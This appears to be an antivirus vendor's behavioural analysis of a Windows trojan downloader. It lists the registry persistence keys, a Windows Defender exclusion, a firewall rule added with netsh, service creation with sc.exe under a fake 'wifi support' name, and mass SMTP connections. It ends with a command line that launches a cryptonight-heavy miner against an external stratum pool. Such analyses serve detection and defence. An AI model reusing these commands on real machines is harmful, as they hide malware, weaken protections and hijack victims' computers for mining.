Trojan.DownLoader29.45881

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\otkqgwuh] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\otkqgwuh] 'ImagePath' = '%WINDIR%\SysWOW64\otkqgwuh\bkcbkwar.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\otkqgwuh] 'ImagePath' = '%WINDIR%\SysWOW64\otkqgwuh\bkcbkwar.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\otkqgwuh' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\bkcbkwar.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\bkcbkwar.exe to %WINDIR%\syswow64\otkqgwuh\bkcbkwar.exe

Deletes itself.

Network activity

Connects to

'mt##.##0.yahoodns.net':25
'mx#######901.gslb.pphosted.com':25
'ma##.curt.dk':25
'mx.##enet.gr':25
'd1######.#ss.barracudanetworks.com':25
'ma####.idianet.net':25
'yb####.mail.yahoo.co.jp':25
'alt1.gmail-smtp-in.l.google.com':25
'mx.###sin.plus.net':25
'cl######.us.messagelabs.com':25
'14#.#6.108.92':484
'alt1.aspmx.l.google.com':25
'localhost':25
'ma##.#rotonmail.ch':25
'mx###.##il.am0.yahoodns.net':25
'mx###.#verycloudtech.us':25
'mx#.#ebhero.com':25
'mx.###mexperts.com':25
'mx#.#otmail.com':25
'mx.##dafile.com':25
'pf####mt02.pfa.dk':25
'mx#######601.gslb.pphosted.com':25
'mx#.##il.icloud.com':25
'alt4.gmail-smtp-in.l.google.com':25
'mx####.##il.gm0.yahoodns.net':25
'go###e.com.au':443
'mx#.##rthlink.net':25
'et###.#ail.tiscali.it':25
'ba#####da.clxeurope.com':25
'sc####r08.acw.at':25
'alt3.gmail-smtp-in.l.google.com':25
'sm##.##cureserver.net':25
'ip##fo.io':80
'mx#.##ailsrvr.com':25
'sp##.##tconsulting.com':25
'fr###oge.co.in':443
'gmail-smtp-in.l.google.com':25
's1##.#ecure.ne.jp':25
'mx#.##tsolmail.net':25
'alt2.gmail-smtp-in.l.google.com':25
'ma#######xcite.roc2.bluetie.com':25
'sm######.mc.a.cloudfilter.net':25
'aspmx.l.google.com':25
'mx######64701.pphosted.com':25

TCP

HTTP GET requests

http://www.google.com/

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ma#.com
DNS ASK mx#.##il.icloud.com
DNS ASK ua##.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK es###orp.com
DNS ASK mc##i.com
DNS ASK br###erz.com
DNS ASK ix.##tcom.com
DNS ASK bl#######dressagestables.com
DNS ASK ml##ded.com
DNS ASK pf#.dk
DNS ASK pf####mt02.pfa.dk
DNS ASK en#####rexport.plus.com
DNS ASK sa####bullet.com
DNS ASK bl######rdesignbuild.com
DNS ASK ma#######xcite.roc2.bluetie.com
DNS ASK ex##te.com
DNS ASK s1##.#ecure.ne.jp
DNS ASK ha##to.com
DNS ASK go###e.com.au
DNS ASK ti##ali.it
DNS ASK al##ac.com
DNS ASK bc#.co.at
DNS ASK sc####r08.acw.at
DNS ASK mx.###sin.plus.net
DNS ASK hz####rniture.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK ip##fo.io
DNS ASK pc###orp.com
DNS ASK mx#.##ailsrvr.com
DNS ASK bc####sulting.com
DNS ASK sp##.##tconsulting.com
DNS ASK fr###oge.co.in
DNS ASK google.com
DNS ASK ns###astics.com
DNS ASK sm######.mc.a.cloudfilter.net
DNS ASK cf##.com
DNS ASK bl######renvironmental.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK mi##y.com
DNS ASK ma##.#rotonmail.ch
DNS ASK ya##o.co.uk
DNS ASK ma##.otenet.gr
DNS ASK we####utopaint.com
DNS ASK mx###.#verycloudtech.us
DNS ASK alt1.aspmx.l.google.com
DNS ASK ya###.com.br
DNS ASK mx#.#ebhero.com
DNS ASK ma##box.gr
DNS ASK mx.###mexperts.com
DNS ASK so###xports.com
DNS ASK so##los.pt
DNS ASK us#.edu
DNS ASK ig##zio.it
DNS ASK ca##ods.com
DNS ASK ya##o.com
DNS ASK yo###oob.com
DNS ASK po#.#unils.com
DNS ASK cu#t.dk
DNS ASK ma##.curt.dk
DNS ASK ot##et.gr
DNS ASK mx.##enet.gr
DNS ASK bo###anada.com
DNS ASK es##ous.com
DNS ASK ee#.#pson.com
DNS ASK cl######.us.messagelabs.com
DNS ASK d1######.#ss.barracudanetworks.com
DNS ASK yb####.mail.yahoo.co.jp
DNS ASK ve###net.com
DNS ASK co###ile.com
DNS ASK mx.##dafile.com
DNS ASK 30#0.it
DNS ASK id##net.fr
DNS ASK ma####.idianet.net
DNS ASK yb#.ne.jp
DNS ASK so####rivein.com
DNS ASK ba#####da.clxeurope.com
DNS ASK cl###rope.com
DNS ASK mx#.####strialservicesrl.it
DNS ASK li######ryinterieurs.com
DNS ASK aspmx.l.google.com
DNS ASK alt3.gmail-smtp-in.l.google.com
DNS ASK ti###linet.it
DNS ASK et###.#ail.tiscali.it
DNS ASK ya##o.it
DNS ASK th####fourteen.com
DNS ASK mx.#####.orange-business.com
DNS ASK me###one.net
DNS ASK eg#a.it
DNS ASK eg#####.##il.protection.outlook.com
DNS ASK bn##.com
DNS ASK gm##l.com
DNS ASK mx.###cali.co.uk
DNS ASK in#####ialservicesrl.it
DNS ASK ti###li.co.uk
DNS ASK la###ningbo.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK mt##.##0.yahoodns.net
DNS ASK gmail-smtp-in.l.google.com
DNS ASK mx#.#otmail.com
DNS ASK alt1.gmail-smtp-in.l.google.com
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK ma###.bnsf.com
DNS ASK ma##.#mistaja.net
DNS ASK sa######ofougeres.cci.fr
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK za.#bm.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK mx######b2d01.pphosted.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK ce##xray.it
DNS ASK om###aja.net
DNS ASK in.###babusiness.it
DNS ASK alt2.gmail-smtp-in.l.google.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK ve##zon.net
DNS ASK aj###trio.com
DNS ASK a.##.#jazztrio.com
DNS ASK 1e##le1.com
DNS ASK ca###er.utc.com
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK mx#.##tsolmail.net
DNS ASK th###ayup.co.uk
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK pe###epc.com
DNS ASK sm##.##cureserver.net
DNS ASK in##usa.com
DNS ASK mx#.###ousa.iphmx.com
DNS ASK ea###link.com
DNS ASK dw##pa.com
DNS ASK mx#.##rthlink.net
DNS ASK be###rdnet.com
DNS ASK ae##8.com
DNS ASK sp####alltravel.com
DNS ASK mx######64701.pphosted.com
DNS ASK mx.####.locaweb.com.br
DNS ASK mx#.###.#ailpod6-cph3.one.com
DNS ASK po##.tele.dk
DNS ASK fp##.mail.dk
DNS ASK je##o.com
DNS ASK vi##ilio.it
DNS ASK sm####n.virgilio.it
DNS ASK mc##o.com
DNS ASK alt4.gmail-smtp-in.l.google.com
DNS ASK su##ls.com
DNS ASK th#####kinraymond.com
DNS ASK ci##m.com
DNS ASK li####sydney.com
DNS ASK nu##r.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK ci###cil.com
DNS ASK th###ayup.se
DNS ASK gm##law.com
DNS ASK sm##.edu

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\otkqgwuh\bkcbkwar.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\otkqgwuh\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bkcbkwar.exe" %WINDIR%\SysWOW64\otkqgwuh\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create otkqgwuh binPath= "%WINDIR%\SysWOW64\otkqgwuh\bkcbkwar.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description otkqgwuh "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start otkqgwuh' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\otkqgwuh\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bkcbkwar.exe" %WINDIR%\SysWOW64\otkqgwuh\
'%WINDIR%\syswow64\sc.exe' create otkqgwuh binPath= "%WINDIR%\SysWOW64\otkqgwuh\bkcbkwar.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description otkqgwuh "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start otkqgwuh
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.185:8087 -u w1 -p x --nicehash --safe

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